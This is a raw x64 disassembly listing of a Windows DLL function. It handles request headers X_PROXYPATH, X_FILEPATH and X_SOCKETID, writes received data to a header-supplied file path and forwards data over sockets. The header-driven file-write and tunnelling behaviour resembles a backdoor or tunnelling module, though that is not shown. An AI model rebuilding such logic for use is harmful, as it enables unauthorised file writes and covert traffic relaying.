lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
lea rdx, [0x180046f08]
lea rcx, [rsp + 0xe0]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x60]
call fcn.180007270
nop
jmp 0x1800042a6
lea rcx, [rsp + 0x60]
call fcn.180007270
nop
jmp 0x1800055bd
mov rax, qword [r13]
xor r8d, r8d
lea rdx, str.X_PROXYPATH
mov rcx, r13
call qword [rax + 0x18]
test rax, rax
je case.0x1800040db.102
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180007900
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.1800137c0
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
cmp qword [rsp + 0x70], 0
je 0x180004b88
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x180055a80]
call fcn.180006cf0
mov rcx, rax
mov rdx, rbx
call fcn.180007840
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rax, [rsp + 0x120]
mov qword [rsp + 0x100], rax
lea rdx, str.plain
lea rcx, [rsp + 0x120]
call fcn.180007900
mov rbx, rax
lea rcx, [rsp + 0xe0]
call fcn.180013d80
nop
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
lea rdx, [0x180046f08]
lea rcx, [rsp + 0x160]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x60]
call fcn.180007270
jmp 0x1800042b4
lea rcx, [rsp + 0x60]
call fcn.180007270
jmp case.0x1800040db.102
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180010d50
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rcx, [rsp + 0x60]
call fcn.180007330
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x80]
call fcn.180007900
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.180006640
lea rcx, [rsp + 0x80]
call fcn.1800077b0
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0xc0]
je 0x180004c4b
add rdx, 0x40
lea rcx, [rsp + 0xa0]
call fcn.1800137c0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1800072c0
lea rcx, [rsp + 0xa0]
call fcn.180007270
cmp qword [rsp + 0x70], 0
je 0x180004cff
lea rdx, [rsp + 0x60]
lea rcx, [0x180055a80]
call fcn.180006b30
test al, al
je 0x180004cff
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x100], rax
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x180055a80]
call fcn.180006cf0
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
lea rdx, [0x180046f08]
lea rcx, [rsp + 0x80]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x60]
call fcn.180007270
nop
jmp 0x1800042a6
lea rcx, [rsp + 0x60]
call fcn.180007270
nop
jmp 0x1800055bd
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180010d50
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rcx, [rsp + 0x60]
call fcn.180007330
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x80]
call fcn.180007900
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.180006640
lea rcx, [rsp + 0x80]
call fcn.1800077b0
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0xc0]
je 0x180004dc3
add rdx, 0x40
lea rcx, [rsp + 0xa0]
call fcn.1800137c0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1800072c0
lea rcx, [rsp + 0xa0]
call fcn.180007270
cmp qword [rsp + 0x70], 0
je 0x180004e73
lea rdx, [rsp + 0x60]
call fcn.180006c80
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x100], rax
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180007900
mov rbx, rax
lea rcx, [rsp + 0x80]
call fcn.180013d80
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x80]
call fcn.1800077b0
lea rdx, [0x180046f08]
lea rcx, [rsp + 0xe0]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x60]
call fcn.180007270
nop
jmp 0x1800042a6
lea rcx, [rsp + 0x60]
call fcn.180007270
nop
jmp 0x1800055bd
cmp qword [rsp + 0x150], 0
je case.0x1800040db.102
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
mov rdx, rax
lea rcx, [0x180055aa0]
call fcn.180007840
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rax, [rsp + 0x120]
mov qword [rsp + 0x100], rax
lea rdx, str.plain
lea rcx, [rsp + 0x120]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.180007960
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
lea rdx, str.Set_JS_OK_
lea rcx, [rsp + 0x60]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
jmp 0x1800042b4
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180010d50
nop
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
lea rdx, str.timeout
lea rcx, [rsp + 0x60]
call fcn.180007900
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.180006640
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov rcx, qword [rsp + 0x40]
cmp rcx, qword [rsp + 0xc0]
je 0x180005042
add rcx, 0x40
call fcn.180001380
nop
test eax, eax
jne 0x180004fee
mov byte [0x180053a0d], al
lea rdx, str.Disable_Proxy_Cache
lea rcx, [rsp + 0x120]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
jmp 0x1800042a6
jle 0x180005042
mov byte [0x180053a0d], 1
imul eax, eax, 0x3c
mov dword [0x180053a08], eax
xor ecx, ecx
call fcn.18001b83c
movsxd rcx, dword [0x180053a08]
add rcx, rax
mov qword [0x180055a98], rcx
lea rdx, str.Enable_Proxy_Cache
lea rcx, [rsp + 0x120]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
jmp 0x1800042a6
jmp 0x1800055bd
mov rax, qword [r13]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, r13
call qword [rax + 0x18]
test rax, rax
je case.0x1800040db.102
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
cmp qword [rsp + 0x70], 0
jne 0x180005089
lea rcx, [rsp + 0x60]
call fcn.1800077b0
jmp case.0x1800040db.102
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x80]
call fcn.1800137c0
nop
lea rcx, [rsp + 0x80]
call fcn.180007230
mov rcx, rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov dword [rsp + 0x50], r14d
cmp rax, 0xffffffffffffffff
je 0x18000513a
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x18000513a
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.1800135e0
or r12d, 4
mov rcx, rax
call fcn.1800074c0
mov rdx, rax
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x150]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000513a
xor dil, dil
jmp 0x18000513d
mov dil, 1
test r12b, 4
je 0x180005150
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
test dil, dil
je 0x180005273
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x100]
call fcn.180001420
mov rdi, rax
mov edx, ebx
lea rcx, [rsp + 0xc0]
call fcn.180001400
mov rbx, rax
lea r8, [rsp + 0x60]
lea rdx, str.Write_file
lea rcx, [rsp + 0x180]
call fcn.18000ba20
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000bd20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.18000bd90
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000bd20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.18000bd90
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x160]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x180]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xc0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x100]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x80]
call fcn.180007270
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
jmp 0x1800042b4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x50]
lea rcx, [rsp + 0x180]
call fcn.180001420
mov rbx, rax
mov rdx, qword [rsp + 0x150]
lea rcx, [rsp + 0x160]
call fcn.180001440
nop
mov r8, rax
lea rdx, str.Received_file_length:
lea rcx, [rsp + 0xe0]
call fcn.18000bb90
nop
lea r8, str._Write_length:
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000bd20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.18000bd90
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x160]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x180]
jmp 0x180005250
mov rax, qword [r13]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, r13
call qword [rax + 0x18]
mov qword [rsp + 0x50], rax
test rax, rax
je case.0x1800040db.102
mov qword [rsp + 0x48], r14
mov ebx, r14d
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180007900
nop
lea rcx, [rsp + 0x80]
call fcn.180001380
movsxd r12, eax
mov qword [rsp + 0x48], r12
lea rcx, [rsp + 0x80]
call fcn.1800077b0
mov r13d, r14d
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x60]
call fcn.180007960
nop
cmp ebx, 0x5dc
jge 0x180005542
lea rcx, [rsp + 0x60]
call fcn.1800074c0
mov rdx, rax
xor r9d, r9d
mov r8d, dword [rsp + 0x70]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x18000547c
nop word [rax + rax]
cmp ebx, 0x5dc
jge 0x180005542
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x18000546a
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x120]
call fcn.180001400
nop
mov r8, rax
lea rdx, str.Send_failed_error:
lea rcx, [rsp + 0xa0]
call fcn.18000bb90
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x140]
call fcn.1800077b0
mov eax, esi
jmp 0x1800055da
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x1800053e0
test eax, eax
jne 0x180005490
lea ecx, [rax + 0x14]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x1800053a4
jle 0x1800053a4
mov ebx, r14d
movsxd r8, eax
cmp r8, qword [rsp + 0x70]
jb 0x18000550a
lea edx, [rax + r13]
lea rcx, [rsp + 0x120]
call fcn.180001400
nop
mov r8, rax
lea rdx, str.send_length:
lea rcx, [rsp + 0xa0]
call fcn.18000bb90
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x140]
call fcn.1800077b0
mov eax, esi
jmp 0x1800055da
add r13d, eax
or r9, 0xffffffffffffffff
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x60]
call fcn.1800073d0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180007840
lea rcx, [rsp + 0xa0]
call fcn.1800077b0
jmp 0x1800053a4
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x120]
call fcn.180001400
nop
mov r8, rax
lea rdx, str.Send_timeout__error:
lea rcx, [rsp + 0xa0]
call fcn.18000bb90
mov r8, rax
xor edx, edx
mov rcx, r15
call fcn.180010620
nop
lea rcx, [rsp + 0x120]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x140]
call fcn.1800077b0
mov eax, esi
jmp 0x1800055da
lea rcx, [rsp + 0xc0]
call fcn.1800056c0
nop
lea rcx, [rsp + 0x140]
call fcn.1800077b0
xor eax, eax
mov rcx, qword [rsp + 0x11c0]
xor rcx, rsp
call fcn.1800161f0
lea r11, [rsp + 0x11d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret